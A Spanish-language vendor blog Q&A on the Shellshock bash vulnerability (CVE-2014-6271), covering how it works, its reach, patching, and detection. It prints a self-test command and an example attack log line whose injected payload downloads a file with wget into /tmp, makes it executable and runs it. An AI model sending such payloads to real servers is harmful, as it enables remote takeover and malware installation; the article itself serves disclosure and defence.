La vulnerabilidad “Bash” (CVE-2014-6271): preguntas y respuestas

¿Qué es la vulnerabilidad “basch”?

La vulnerabilidad “bash”, descrita como CVE-2014-6271, es una vulnerabilidad extremadamente poderosa debido a su alto impacto y a la facilidad con que se puede explotar. El atacante puede sencillamente ejecutar los comandos del sistema, con los mismos privilegios que los servicios afectados.

En la mayoría de los ejemplos que aparecen en Internet en este momento, los atacantes atacan de forma remota servidores webs que alojan archivos de comando CGI escritos en bash.

Al momento de redactar este artículo, la vulnerabilidad ya había sido utilizada con intenciones maliciosas, como infectar servidores web vulnerables con programas maliciosos, o ataques de hackers. Nuestros investigadores constantemente recopilan nuevas muestras e indicaciones de infecciones relacionadas con esta vulnerabilidad. Pronto publicaremos más información al respecto.

Lo principal que hay que entender es que la vulnerabilidad no está vinculada a ningún servicio específico, como por ejemplo Apache o nginx. En lugar de ello, la vulnerabilidad descansa en el intérprete de comandos de bash que le permite al atacante agregar comandos de sistema a las variables del entorno de bash.

¿Cómo funciona?

Para explicar su funcionamiento, voy a recurrir a los mismos ejemplos que hemos visto en las recomendaciones y en el código prueba de concepto que hemos publicado. Si tienes un archivo de comandos CGI en un servidor web, este archivo de comandos, o script, lee automáticamente algunas variables de ambiente, como tu dirección IP, la versión de tu navegador, y la información sobre tu sistema local.

Pero imagina que no sólo puedes pasarle esta información normal del sistema al script CGI, sino que también le dices al script que ejecute comandos del sistema.

Esto significaría que, sin tener ninguna autorización para el servidor web, en cuanto accedas al script CGI, ésteš leería tus variables de entorno, y si estas contienen la cadena del exploit, el script también ejecutará el comando que has especificado.

¿Qué lo distingue?

Esta vulnerabilidad es única, porque es extremadamente fácil de explotar y el impacto que causa es increíblemente severo, entre otras razones debido a la cantidad de blancos vulnerables. Esto no sólo afecta los servidores web, sino a cualquier programa que use el intérprete de comandos bash y lea datos que puedes controlar.

Los investigadores también están tratando de descubrir si otros intérpretes, como PHP, JSP, Python o Perl, han sido afectados.  Dependiendo de cómo se haya escrito el código, a veces un intérprete utiliza bash para ejecutar algunas funciones, y si este fuera el caso, es posible que otros intérpretes también sirvan para explotar la vulnerabilidad CVE-2014-6271.

El impacto es increíblemente alto ya que hay muchos dispositivos involucrados que utilizan scripts CGI, como los routers, electrodomésticos y puntos de acceso inalámbrico que también son vulnerables y, en muchos casos, difíciles de reparar.

¿Cuál es su nivel de propagación?

Esto es muy difícil decirlo, pero sabemos por nuestros sistemas de inteligencia que estos exploits y gusanos se comenzaron a desarrollar directamente después de que se publicara la información sobre la vulnerabilidad, y tanto los investigadores legítimos como los maliciosos están buscando en Internet servidores vulnerables.

Aún es pronto para saberlo, pero por mi propia investigación sé que existen muchos servidores web con scripts CGI, y estoy bastante seguro de que también veremos muchos otros tipos de exploits diseñados para atacar los archivos locales y los procesos en segundo plano (daemons) en redes. También se ha debatido la vulnerabilidad de los clientes OpenSSH y dhcp a estos ataques.

¿Cómo puedo verificar si mi sistema o sitio web está infectado?

La forma más sencilla de verificar si tu sistema es vulnerable, consiste en abrir un intérprete de comandos bash en tu sistema y ejecutar el siguiente comando:

“env x='() { :;}; echo vulnerable’ bash -c “echo this is a test”

Si el intérprete de comandos devuelve la cadena “vulnerable”, entonces tienes que actualizar tu sistema.

También existen herramientas para los usuarios más expertos que se pueden utilizar para verificar si tu servidor está infectado con esta vulnerabilidad.

Consejos para reparar este problema

Lo primero que tienes que hacer es actualizar la versión de tu bash.  Diferentes distribuciones para Linux ofrecen parches para esta vulnerabilidad, y aunque no se ha comprobado aún la efectividad de todos los parches, lo primero que hay que hacer es aplicar el parche.

Si usas algún IDS/IPS, te recomendaría que le añadas/cargues una firma. Se han publicado muchas reglas públicas.

Asimismo, verifica la configuración de tu servidor web.  Si hay algún script CGI que no estés utilizando, es mejor que lo desactives.

¿Hay riesgos para la banca online?

Esta vulnerabilidad se está explotando activamente para atacar servidores alojados en Internet. Incluso son vulnerables algunas estaciones de trabajo con plataformas Linux y OSX, pero los atacantes necesitan encontrar un vector de ataque que funcione de forma remota contra tu equipo de escritorio.

La vulnerabilidad no ataca a los usuarios individuales, sino a los servidores alojados en Internet.  Esto significa, por ejemplo, que si tu sitio web favorito de compras o banca online fuera vulnerable, los atacantes podrían, teóricamente, infectar ese servidor y acceder a tus datos personales, incluyendo quizás tus datos bancarios.

Al momento de redactar este artículo resulta muy difícil decir con exactitud qué plataformas podrían ser vulnerables o pueden haber sido atacadas, pero te recomendaría que por un par de días dejes de usar activamente tu tarjeta de crédito o de compartir tus datos confidenciales, hasta que los investigadores en seguridad hayan encontrado más información sobre esta situación.

¿Puedo detectar si alguien ha vulnerado mi equipo?

Te recomiendo revisar tus registros HTTP y verificar si existe algo sospechoso. Este es un ejemplo de un patrón malicioso:

192.168.1.1 – – [25/Sep/2014:14:00:00 +0000] “GET / HTTP/1.0” 400 349 “() { :; }; wget -O /tmp/besh http://192.168.1.1/filename; chmod 777 /tmp/besh; /tmp/besh;”

Existen también algunos parches para bash que registran cada comando que se pasa al intérprete de datos bash. Esta es una buena manera de ver si alguien ha vulnerado tu equipo. šNo evitará que siga haciéndolo, pero se registrarán las acciones del atacante en tu sistema.

¿Cuál es la gravedad de esta amenaza?

Este virus es sin duda muy peligroso, pero no TODOS los sistemas son vulnerables. Tienen que haber ciertas condiciones para que se pueda vulnerar un servidor web. Uno de los principales problemas ahora es que cuando se publican, los investigadores buscan otras formas de vulnerar bash, exploran otras condiciones que lo permitan, etc. Entonces un parche que ayuda a prevenir la ejecución remota de código no servirá, por ejemplo, para evitar la rescritura de un archivo. Probablemente habrá una serie de parches, pero mientras tanto los sistemas siguen siendo vulnerables.

¿Se trata de un nuevo Heartbleed?

Bueno, para el ciberpirata es mucho más fácil de vulnerar que Heartbleed. Asimismo, en el caso de Heartbleed, los ciberpiratas sólo podían robar datos de la memoria, con la expectativa de encontrar algo útil.   Por el contrario, la vulnerabilidad bash facilita en gran medida el control completo del sistema. Por eso nos parece más peligroso que Heartbleed.

¿Puede utilizarse en futuros APTs?

Por supuesto que podría usarse para el desarrollo de futuros programas maliciosos. Estos programas maliciosos podrían usarse para probar automáticamente la seguridad de una infraestructura, para infectar un sistema, o para atacarlo de otras maneras.

Publicaciones relacionadas

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *